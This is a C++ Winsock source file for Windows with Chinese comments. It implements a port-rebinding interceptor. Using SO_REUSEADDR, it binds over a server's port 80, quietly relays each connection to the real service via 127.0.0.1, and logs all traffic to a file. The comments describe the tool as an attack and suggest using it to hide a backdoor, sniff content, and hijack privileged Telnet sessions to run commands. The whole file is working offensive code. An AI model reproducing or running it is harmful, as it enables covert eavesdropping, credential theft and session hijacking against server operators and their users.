#include "stdafx.h" #include <winsock2.h> #include <windows.h> //#include <stdio.h> #include <stdlib.h> #include <fstream.h>
DWORD WINAPI ClientThread(LPVOID lpParam);
int main(int argc, char* argv[]) { if (argc!=2) { printf("using: listen [your ip address]\nfor example:\n listen 202.112.246.2\n"); return 0; }
WORD wVersionRequested; DWORD ret; WSADATA wsaData; BOOL val; SOCKADDR_IN saddr; SOCKADDR_IN scaddr; int err; SOCKET s; SOCKET sc; int caddsize; HANDLE mt; DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { printf("error!WSAStartup failed!\n"); return -1; } saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 saddr.sin_addr.s_addr = inet_addr(argv[1]); saddr.sin_port = htons(80); if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed!\n"); return -1; } val = TRUE; //SO_REUSEADDR选项就是可以实现端口重绑定的 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) { printf("error!setsockopt failed!\n"); return -1; } //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) { ret=GetLastError(); printf("error!bind failed!\n"); return -1; } listen(s,2); while(1) { caddsize = sizeof(scaddr); //接受连接请求 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); if(sc!=INVALID_SOCKET) { mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); if(mt==NULL) { printf("Thread Creat Failed!\n"); break; } } CloseHandle(mt); } closesocket(s); WSACleanup(); return 0; }
DWORD WINAPI ClientThread(LPVOID lpParam) { SOCKET ss = (SOCKET)lpParam; SOCKET sc; char buf[4096]; SOCKADDR_IN saddr; long num; DWORD val; DWORD ret; //如果是隐藏端口应用的话,可以在此处加一些判断 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); saddr.sin_port = htons(80); if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed!\n"); return -1; } val = 100; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ret = GetLastError(); return -1; } if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ret = GetLastError(); return -1; } if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) { printf("error!socket connect failed!\n"); closesocket(sc); closesocket(ss); return -1; } // 写入文件: ofstream oFile("port80log.txt"); if(!oFile) { printf("cannot write to the file.\n"); closesocket(ss); closesocket(sc); return 0 ; }
while(1) { //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 //如果是嗅探内容的话,可以再此处进行内容分析和记录 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 num = recv(ss,buf,4096,0); if(num>0) { oFile<<"\n== DATA =========================================\n"; oFile<<buf; send(sc,buf,num,0); } else if(num==0) break; num = recv(sc,buf,4096,0); if(num>0) { oFile<<"\n== DATA =========================================\n"; oFile<<buf; send(ss,buf,num,0); } else if(num==0) break; } oFile.close();
closesocket(ss); closesocket(sc); return 0 ; } |